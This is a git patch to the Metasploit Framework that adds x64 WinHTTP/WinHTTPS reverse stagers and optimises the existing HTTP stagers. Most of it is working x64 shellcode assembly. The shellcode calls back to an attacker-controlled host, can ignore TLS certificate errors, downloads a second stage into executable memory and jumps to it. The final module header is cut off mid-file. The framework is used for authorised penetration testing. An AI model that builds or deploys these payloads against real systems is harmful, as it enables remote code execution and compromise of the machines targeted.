From e69e6c4a73c11f98688b2f2787d7923264bdf46a Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 11 May 2015 16:52:35 +1000 Subject: [PATCH] Implement winhttp for x64 Still has some quirks to fix up, but we're getting there. Everything seems to work except for reverse_winhttps. I can't see why at this point. --- lib/msf/core/payload/windows/x64/exitfunk.rb | 6 +- .../core/payload/windows/x64/reverse_http.rb | 68 ++- .../payload/windows/x64/reverse_winhttp.rb | 477 ++++++++++++++++++ .../payload/windows/x64/reverse_winhttps.rb | 70 +++ .../stagers/windows/reverse_hop_http.rb | 27 +- .../payloads/stagers/windows/reverse_http.rb | 20 +- .../payloads/stagers/windows/reverse_https.rb | 20 +- .../stagers/windows/reverse_winhttp.rb | 25 +- .../stagers/windows/reverse_winhttps.rb | 25 +- .../stagers/windows/x64/reverse_http.rb | 21 +- .../stagers/windows/x64/reverse_https.rb | 19 +- .../stagers/windows/x64/reverse_winhttp.rb | 34 ++ .../stagers/windows/x64/reverse_winhttps.rb | 35 ++ 13 files changed, 714 insertions(+), 133 deletions(-) create mode 100644 lib/msf/core/payload/windows/x64/reverse_winhttp.rb create mode 100644 lib/msf/core/payload/windows/x64/reverse_winhttps.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_winhttp.rb create mode 100644 modules/payloads/stagers/windows/x64/reverse_winhttps.rb diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index b126938791..f9e2ff262e 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -57,8 +57,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 0 ; pop rcx ; set the exit function parameter - mov ebx, 0x#{Msf::Payload::Windows.exit_types['process'].to_s(16)} - mov r10d, ebx ; place the correct EXITFUNK into r10d + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ; ExitProcess(0) ^ @@ -66,8 +65,7 @@ module Payload::Windows::Exitfunk_x64 asm << %Q^ push 300000 ; 300 seconds pop rcx ; set the sleep function parameter - mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} - mov r10d, ebx ; place the correct EXITFUNK into r10d + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call rbp ; Sleep(30000) jmp exitfunk ; repeat ^ diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index be738dbabd..890ae050b7 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -198,8 +198,10 @@ module Payload::Windows::ReverseHttp_x64 end asm = %Q^ + xor rbx, rbx + load_wininet: - push 0 + push rbx mov r14, 'wininet' push r14 ; Push 'wininet',0 onto the stack mov r14, rsp ; Save pointer to string @@ -222,17 +224,19 @@ module Payload::Windows::ReverseHttp_x64 else asm << %Q^ xor r8, r8 ; NULL pointer (lpszProxyName) - xor rdx, rdx ; PRECONFIG = 0 (dwAccessType) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; PRECONFIG = 0 (dwAccessType) ^ end asm << %Q^ - push 0 ; alignment - push 0 ; NULL pointer + push rbx ; 0 for alignment + push rbx ; 0 for alignment xor r9, r9 ; NULL pointer (lpszProxyBypass) mov rcx, rsp ; Empty string pointer (lpszAgent) - push 0 ; 0 (dwFlags) - push 0 ; alignment + push rbx ; 0 (dwFlags) + push rbx ; 0 for alignment mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call rbp ^ @@ -247,10 +251,10 @@ module Payload::Windows::ReverseHttp_x64 mov rcx, rax ; HINTERNET (hInternet) mov r8, #{opts[:port]} ; xor r9, r9 ; String (lpszUsername) - push 0 ; NULL (dwContext) - push 0 ; 0 (dwFlags) + push rbx ; NULL (dwContext) + push rbx ; 0 (dwFlags) push 3 ; INTERNET_SERVICE_HTTP (dwService) - push 0 ; alignment + push rbx ; 0 for alignment mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call rbp ^ @@ -277,8 +281,8 @@ module Payload::Windows::ReverseHttp_x64 pop r9 mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) ; TODO: Without these pushes, things crashed. Not sure why. - push 0 ; alignment - push 0 ; alignment + push rbx ; 0 for alignment + push rbx ; 0 for alignment call rbp ^ end @@ -297,8 +301,8 @@ module Payload::Windows::ReverseHttp_x64 pop r9 mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) ; TODO: Without these pushes, things crashed. Not sure why. - push 0 ; alignment - push 0 ; alignment + push rbx ; 0 for alignment + push rbx ; 0 for alignment call rbp ^ end @@ -318,9 +322,11 @@ module Payload::Windows::ReverseHttp_x64 httpopenrequest: pop r8 ; String (lpszObjectName) mov rcx, rax ; HINTERNET (hConnect) - xor rdx, rdx ; NULL pointer (lpszVerb) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; NULL pointer (lpszVerb) xor r9, r9 ; String (lpszVersion) - push 0 ; 0 (dwContext) + push rbx ; 0 (dwContext) ; TODO: figure out what's going on here (get help from HD?) ; Having to use mov + push instead of push qword because ; Metasm doesn't seem to like it. Plain 'push' doesn't work @@ -328,8 +334,8 @@ module Payload::Windows::ReverseHttp_x64 ;push qword 0x#{http_open_flags.to_s(16)} ; (dwFlags) mov r10, 0x#{http_open_flags.to_s(16)} ; (dwFlags) push r10 - push 0 ; NULL pointer (lplpszAcceptTypes) - push 0 ; NULL pointer (lpszReferer) + push rbx ; NULL pointer (lplpszAcceptTypes) + push rbx ; NULL pointer (lpszReferer) mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call rbp mov rsi, rax ; Store the request handle in RSI @@ -347,7 +353,7 @@ module Payload::Windows::ReverseHttp_x64 mov rcx, rsi ; (hInternet) push 31 ; INTERNET_OPTION_SECURITY_FLAGS pop rdx - push 0 ; alignment + push rbx ; 0 for alignment push #{set_option_flags} ; (dwFlags) mov r8, rsp push 4 ; sizeof(dwFlags) @@ -360,18 +366,20 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ httpsendrequest: mov rcx, rsi ; HINTERNET (hRequest) - xor rdx, rdx ; NULL pointer (lpszHeaders) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rdx ; NULL pointer (lpszHeaders) xor r8, r8 ; 0 (dwHeadersLength) xor r9, r9 ; NULL pointer (lpOptional) - push 0 ; alignment - push 0 ; 0 (dwOptionalLength) + push rbx ; 0 for alignment + push rbx ; 0 (dwOptionalLength) mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call rbp - test rax,rax + test eax, eax ; use eax, it's 1 byte less than rax jnz allocate_memory try_it_again: - dec rdi + dec edi ; use edi, it's 1 byte less than rdi jz failure jmp retry ^ @@ -391,10 +399,13 @@ module Payload::Windows::ReverseHttp_x64 asm << %Q^ allocate_memory: - xor rcx, rcx ; NULL pointer (lpAddress) + ; the push/pop sequence saves a byte over XOR + push rbx + pop rcx ; NULL pointer (lpAddress) mov rdx, 0x00400000 ; SIZE_T (dwSize) mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) - mov r9, 0x40 ; PAGE_EXECUTE_READWRITE (flProtect) + push 0x40 + pop r9 ; PAGE_EXECUTE_READWRITE (flProtect) mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call rbp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -416,10 +427,11 @@ module Payload::Windows::ReverseHttp_x64 test eax, eax ; did the download fail? jz failure - mov ax, word ptr [edi] - add rbx, rax ; buffer += lpNumberOfBytesRead + mov ax, word ptr [rdi] + ; Use ebx/eax here because we save bytes (don't need higher order 32 bits) + add ebx, eax ; buffer += lpNumberOfBytesRead - test rax, rax + test eax, eax ; use eax instead of rax, saves a byte jnz download_more ; loop until 0 is returned pop rax ; clear temp storage pop rax ; alignment diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb new file mode 100644 index 0000000000..5dc6e03db8 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -0,0 +1,477 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_winhttp' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86 that speak HTTP(S) using WinHTTP +# +### + +module Payload::Windows::ReverseWinHttp_x64 + + include Msf::Payload::Windows::ReverseHttp_x64 + + # + # Generate the first stage + # + def generate(opts={}) + conf = { + :ssl => opts[:ssl] || false, + :host => datastore['LHOST'], + :port => datastore['LPORT'], + :url => generate_small_uri, + :retry_count => datastore['StagerRetryCount'] + } + + # Add extra options if we have enough space + unless self.available_space.nil? || required_space > self.available_space + conf[:url] = generate_uri + conf[:exitfunk] = datastore['EXITFUNC'] + conf[:verify_cert_hash] = opts[:verify_cert_hash] + conf[:proxy_host] = datastore['PayloadProxyHost'] + conf[:proxy_port] = datastore['PayloadProxyPort'] + conf[:proxy_user] = datastore['PayloadProxyUser'] + conf[:proxy_pass] = datastore['PayloadProxyPass'] + conf[:proxy_type] = datastore['PayloadProxyType'] + conf[:retry_count] = datastore['StagerRetryCount'] + end + + generate_reverse_winhttp(conf) + end + + def transport_config(opts={}) + transport_config_reverse_http(opts) + end + + # + # Generate and compile the stager + # + def generate_reverse_winhttp(opts={}) + combined_asm = %Q^ + cld ; Clear the direction flag. + and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned + call start ; Call start, this pushes the address of 'api_call' + ; onto the stack. + #{asm_block_api} + start: + pop rbp + #{asm_reverse_winhttp(opts)} + ^ + Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + # Start with our cached default generated size + space = cached_size + + # Add 100 bytes for the encoder to have some room + space += 100 + + # Make room for the maximum possible URL length + space += 256 + + # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) + space += 31 + + # The final estimated size + space + end + + # + # Convert a string into a NULL-terminated wchar byte array + # + def asm_generate_wchar_array(str) + (str.to_s + "\x00"). + unpack("C*"). + pack("v*"). + unpack("C*"). + map{ |c| "0x%.2x" % c }. + join(",") + end + + # + # Generate an assembly stub with the configured feature set and options. + # + # @option opts [Bool] :ssl Whether or not to enable SSL + # @option opts [String] :url The URI to request during staging + # @option opts [String] :host The host to connect to + # @option opts [Fixnum] :port The port to connect to + # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil + # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh + # @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up + # + def asm_reverse_winhttp(opts={}) + + retry_count = [opts[:retry_count].to_i, 1].max + verify_ssl = nil + encoded_cert_hash = nil + encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_host = asm_generate_wchar_array(opts[:host]) + + if opts[:ssl] && opts[:verify_cert_hash] + verify_ssl = true + encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") + end + + proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0) + proxy_info = "" + + if proxy_enabled + if opts[:proxy_type].to_s.downcase == "socks" + proxy_info << "socks=" + else + proxy_info << "http://" + end + + proxy_info << opts[:proxy_host].to_s + if opts[:proxy_port].to_i > 0 + proxy_info << ":#{opts[:proxy_port]}" + end + + proxy_info = asm_generate_wchar_array(proxy_info) + end + + proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user]) + proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass]) + + http_open_flags = 0 + secure_flags = 0 + + if opts[:ssl] + http_open_flags = ( + 0x00800000 | # WINHTTP_FLAG_SECURE + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + + secure_flags = ( + 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID + 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE + 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA + else + http_open_flags = ( + 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE + end + + asm = %Q^ + ; Input: RBP must be the address of 'api_call'. + ; Clobbers: RAX, RSI, RDI, RSP will also be modified + + xor rbx, rbx + + load_winhttp: + push rbx + mov r14, 'winhttp' ; prepare the string 'winhttp' + push r14 + mov rcx, rsp ; point to the string + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; Call LoadLibraryA("winhttp") + ^ + + if verify_ssl + asm << %Q^ + load_crypt32: + push rbx + mov r14, 'crypt32' ; prepare the string 'crypt32' + push r14 + mov rcx, rsp ; point to the string + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call rbp ; Call LoadLibraryA("crypt32") + ^ + end + + asm << %Q^ + WinHttpOpen: + ^ + + if proxy_enabled + asm << %Q^ + call get_proxy_server + db #{proxy_info} + get_proxy_server: + pop r8 ; stack pointer (lpszProxyName) + push 3 ; WINHTTP_ACCESS_TYPE_NAMED_PROXY 3 (dwAccessType) + pop rdx + ^ + else + asm << %Q^ + xor r8, r8 ; NULL (lpszProxyName) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0 (dwAccesType) + ^ + end + + asm << %Q^ + xor r9, r9 ; NULL (lpszProxyBypass) + mov rcx, rsp ; Pointer to empty string ("") + push rbx ; 0 for alignment + push rbx ; NULL (lpszProxyBypass) + push rbx ; 0 (dwFlags) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')} + call rbp ; Call WinHttpOpen(...) + + WinHttpConnect: + call get_server_host + db #{encoded_host} + get_server_host: + pop rdx ; Stack pointer (pswzServerName) + mov rcx, rax ; hSession + mov r8, #{opts[:port]} ; nServerPort + ; r9 should still be 0 after the previous call, so we don't need + ; to clear it again + xor r9, r9 ; 0 (dwReserved) + push rbx ; 0 for alignment + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} + call rbp + + WinHttpOpenRequest: + call get_server_uri + db #{encoded_url} + get_server_uri: + pop r8 ; Stack pointer (pwszObjectName) + ; r9 should still be 0 after the previous call, so we don't need + ; to clear it again + ;xor r9, r9 ; NULL (pwszVersion) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (pwszVerb - defaults to GET) + mov rcx, rax ; returned by WinHttpConnect (hConnect) + push 0x#{http_open_flags.to_s(16)} ; (dwFlags) + push rbx ; NULL (ppwszAcceptTypes) + push rbx ; NULL (pwszReferer) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')} + call rbp + xchg rsi, rax ; save HttpRequest handle in rsi + ^ + + if proxy_enabled && proxy_user + asm << %Q^ + set_up_proxy_config: + push rbx ; pAuthParams (NULL) + ^ + + if proxy_pass + asm << %Q^ + call got_proxy_pass ; put proxy_pass on the stack + proxy_pass: + db #{proxy_pass} + got_proxy_pass: + ; pwszPassword now on the stack + ^ + else + asm << %Q^ + push rbx ; pwszPassword (NULL) + ^ + end + + asm << %Q^ + call got_proxy_user ; put proxy user on the stack + proxy_user: + db #{proxy_user} + got_proxy_user: + pop r9 ; Get proxy user (pwszUserName) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; rdx is now 0 + inc edx ; WINHTTP_AUTH_TARGET_PROXY = 1 (dwAuthSceme) + mov r8, rdx ; WINHTTP_AUTH_SCHEME_BASIC = 1 (dwAuthTargets) + mov rcx, rsi ; Request handle (hRequest) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} + call rbp + ^ + end + + if opts[:ssl] + asm << %Q^ + set_security_options: + mov rcx, rsi ; Handle for request (hConnect) + push 31 + pop rdx ; WINHTTP_OPTION_SECURITY_FLAGS (dwOption) + push 0x#{secure_flags.to_s(16)} + mov r8, rsp ; Pointer to flags (lpBuffer) + push 4 + pop r9 ; 4 (dwBufferLength) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + call rbp + test eax, eax ; use eax, it's 1 byte less than rax + jz failure + ^ + end + + asm << %Q^ + ; Store our retry counter in the rdi register + set_retry: + push #{retry_count} + pop rdi + + send_request: + + WinHttpSendRequest: + mov rcx, rsi ; Request handle (hRequest) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (pwszHeaders) + xor r8, r8 ; 0 (dwHeadersLength) + xor r9, r9 ; NULL (lpOptional) + push rbx ; push 0 (dwContext) + push rbx ; push 0 (dwTotalLength) + push rbx ; push 0 (dwOptionalLength) + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')} + call rbp + test eax, eax ; use eax, it's 1 byte less than rax + jnz check_response ; if TRUE call WinHttpReceiveResponse API + + try_it_again: + dec edi ; use edi, it's 1 byte less than rdi + jnz send_request + + ; if we didn't allocate before running out of retries, fall through + ^ + + if opts[:exitfunk] + asm << %Q^ + failure: + call exitfunk + ^ + else + asm << %Q^ + failure: + push 0x56A2B5F0 ; hardcoded to exitprocess for size + call rbp + ^ + end + + # Jump target if the request was sent successfully + asm << %Q^ + check_response: + ^ + + # Verify the SSL certificate hash + if verify_ssl + asm << %Q^ + ssl_cert_get_context: + mov rcx, rsi ; Request handle (hInternet) + push 78 ; WINHTTP_OPTION_SERVER_CERT_CONTEXT + pop rdx ; (dwOption) + ; Thanks to things that are on the stack from previous calls, we don't need to + ; worry about adding something to the stack to have space for the cert pointer, + ; so we won't worry about doing it, it'll save us bytes! + mov r8, rsp ; Stack pointer (lpBuffer) + push 8 ; One whole pointer + mov r9, rsp ; Stack pointer (lpdwBufferLength) + push rbx ; 0 for alignment + push rbx ; 0 for alignment + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_get_server_hash: + mov rcx, [r9] ; Cert context pointer (pCertContext) + push 20 ; length of the sha1 hash + mov r9, rsp ; Address of length (pcbData) + sub rsp, [r9] ; Allocate 20 bytes for the hash output + mov r8, rsp ; 20 byte buffer (pvData) + push 3 + pop rdx ; CERT_SHA1_HASH_PROP_ID (dwPropId) + ; TODO: cater for alignment? + mov r10, #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure ; Bail out if we couldn't get the certificate context + + ssl_cert_start_verify: + call ssl_cert_compare_hashes + db #{encoded_cert_hash} + + ssl_cert_compare_hashes: + pop rsi ; get the expected hash + mov rdi, r8 ; pointer to the retrieved hash + mov rcx, [r9] ; number of bytes to compare + repe cmpsb ; do the hash comparison + jnz failure ; Bail out if the result isn't zero + + ; Our certificate hash was valid, hurray! + ^ + end + + asm << %Q^ + receive_response: + ; The API WinHttpReceiveResponse needs to be called + ; first to get a valid handle for WinHttpReadData + mov rcx, rsi ; Handle to the request (hRequest) + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rdx ; NULL (lpReserved) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')} + call rbp + test eax, eax ; use eax instead of rax, saves a byte + jz failure + + allocate_memory: + ; the push/pop sequence saves a byte over XOR + push rbx ; push 0 + pop rcx ; NULL (lpAddress) + ; rdx should already be zero, so we can save two bytes by using edx here + mov edx, 0x00400000 ; 4mb for stage (dwSize) + mov r8, 0x1000 ; MEM_COMMIT (flAllocationType) + push 0x40 ; PAGE_EXECUTE_READWRITE + pop r9 ; (flProtect) + ; TODO: cater for alignment? + mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call rbp ; Call VirtualAlloc(...); + + download_prep: + xchg rax, rbx ; place the allocated base address in rbx + push rbx ; store a copy of the stage base address on the stack + push rbx ; temporary storage for bytes read count + mov rdi, rsp ; &bytesRead + + download_more: + mov rcx, rsi ; Handle to the request (hFile) + mov rdx, rbx ; Buffer pointer (lpBuffer) + mov r8, 8192 ; Size (dwNumberOfBytesToRead) + mov r9, rdi ; Size received (lpNumberOfBytesRead) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')} + call rbp + add rsp, 32 ; clean up reserved space + + test eax, eax ; use eax instead of rax, saves a byte + jz failure + + mov ax, word ptr [rdi] ; load the bytes read + ; Use eax/ebx here, saves a byte. Don't need higher order bytes. + add ebx, eax ; buffer += bytes_received + + test eax, eax ; use eax instead of rax, saves a byte + jnz download_more ; continue until it returns 0 + pop rax ; clear the temporary storage + pop rax ; clear the temporary storage + + execute_stage: + ret ; dive into the stored stage address + ^ + + if opts[:exitfunk] + asm << asm_exitfunk(opts) + end + + asm + end + +end + +end + diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttps.rb b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb new file mode 100644 index 0000000000..59d32fb0c7 --- /dev/null +++ b/lib/msf/core/payload/windows/x64/reverse_winhttps.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows/x64/reverse_winhttp' +require 'msf/core/payload/windows/verify_ssl' +require 'rex/payloads/meterpreter/uri_checksum' + +module Msf + +### +# +# Complex payload generation for Windows ARCH_X86_64 that speak HTTPS using WinHTTP +# +### + +module Payload::Windows::ReverseWinHttps_x64 + + include Msf::Payload::Windows::ReverseWinHttp_x64 + include Msf::Payload::Windows::VerifySsl + + # + # Register reverse_winhttps specific options + # + def initialize(*args) + super + + register_advanced_options([ + OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false]) + ], self.class) + end + + # + # Generate the first stage + # + def generate + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + + super({ + :ssl => true, + :verify_cert_hash => verify_cert_hash + }) + end + + def transport_config(opts={}) + transport_config_reverse_https(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = super + + # SSL support adds 20 bytes + space += 20 + + # SSL verification adds 120 bytes + if datastore['StagerVerifySSLCert'] + space += 120 + end + + space + end + +end + +end + diff --git a/modules/payloads/stagers/windows/reverse_hop_http.rb b/modules/payloads/stagers/windows/reverse_hop_http.rb index a954d95fdf..138785a4da 100644 --- a/modules/payloads/stagers/windows/reverse_hop_http.rb +++ b/modules/payloads/stagers/windows/reverse_hop_http.rb @@ -16,29 +16,22 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse Hop HTTP Stager', - 'Description' => %q{ Tunnel communication over an HTTP hop point. Note that you must first upload + 'Name' => 'Reverse Hop HTTP Stager', + 'Description' => %q{ + Tunnel communication over an HTTP hop point. Note that you must first upload data/hop/hop.php to the PHP server you wish to use as a hop. }, - 'Author' => - [ + 'Author' => [ 'scriptjunkie ', 'hdm' ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHopHttp, - 'Convention' => 'sockedi http', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHopHttp, + 'Convention' => 'sockedi http', 'DefaultOptions' => { 'WfsDelay' => 30 }, - 'Stager' => - { - 'Offsets' => - { - # None, they get embedded in the shellcode - } - } - )) + 'Stager' => { 'Offsets' => { } })) deregister_options('LHOST', 'LPORT') diff --git a/modules/payloads/stagers/windows/reverse_http.rb b/modules/payloads/stagers/windows/reverse_http.rb index 576edc30f4..06d5de4f3e 100644 --- a/modules/payloads/stagers/windows/reverse_http.rb +++ b/modules/payloads/stagers/windows/reverse_http.rb @@ -3,12 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_http' -module Metasploit3 +module Metasploit4 CachedSize = 312 @@ -18,13 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTP Stager', - 'Description' => 'Tunnel communication over HTTP', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'sockedi http')) + 'Name' => 'Windows Reverse HTTP Stager (wininet)', + 'Description' => 'Tunnel communication over HTTP (Windows wininet)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http')) end + end diff --git a/modules/payloads/stagers/windows/reverse_https.rb b/modules/payloads/stagers/windows/reverse_https.rb index ea6e7ebe61..879777dbaf 100644 --- a/modules/payloads/stagers/windows/reverse_https.rb +++ b/modules/payloads/stagers/windows/reverse_https.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_https' - -module Metasploit3 +module Metasploit4 CachedSize = 332 @@ -19,14 +17,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager', - 'Description' => 'Tunnel communication over HTTP using SSL', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockedi https')) + 'Name' => 'Windows Reverse HTTPS Stager (wininet)', + 'Description' => 'Tunnel communication over HTTPS (Windows wininet)', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockedi https')) end end diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 1bcd0a9e6e..4242ac692a 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/reverse_winhttp' - -module Metasploit3 +module Metasploit4 CachedSize = 327 @@ -23,17 +21,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTP Stager (WinHTTP)', - 'Description' => 'Tunnel communication over HTTP (WinHTTP)', - 'Author' => - [ - 'hdm', - 'Borja Merino ' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttp, - 'Convention' => 'sockedi http')) + 'Name' => 'Windows Reverse HTTP Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTP (Windows winhttp)', + 'Author' => [ 'hdm', 'Borja Merino ' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttp, + 'Convention' => 'sockedi http')) end + end diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index ae6cce1098..18d76fc612 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -3,13 +3,11 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/reverse_winhttps' - -module Metasploit3 +module Metasploit4 CachedSize = 347 @@ -23,17 +21,14 @@ module Metasploit3 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Reverse HTTPS Stager (WinHTTP)', - 'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)', - 'Author' => - [ - 'hdm', - 'Borja Merino ' - ], - 'License' => MSF_LICENSE, - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Handler' => Msf::Handler::ReverseHttps, - 'Convention' => 'sockedi https')) + 'Name' => 'Windows Reverse HTTPS Stager (winhttp)', + 'Description' => 'Tunnel communication over HTTPS (Windows winhttp)', + 'Author' => [ 'hdm', 'Borja Merino ' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Handler' => Msf::Handler::ReverseHttps, + 'Convention' => 'sockedi https')) end + end diff --git a/modules/payloads/stagers/windows/x64/reverse_http.rb b/modules/payloads/stagers/windows/x64/reverse_http.rb index 3d39dbb954..792953a378 100644 --- a/modules/payloads/stagers/windows/x64/reverse_http.rb +++ b/modules/payloads/stagers/windows/x64/reverse_http.rb @@ -4,12 +4,12 @@ ## require 'msf/core' -require 'msf/core/handler/reverse_https' +require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/reverse_http' module Metasploit4 - CachedSize = 513 + CachedSize = 491 include Msf::Payload::Stager include Msf::Payload::Windows @@ -17,8 +17,8 @@ module Metasploit4 def initialize(info = {}) super(merge_info(info, - 'Name' => 'Windows x64 Reverse HTTP 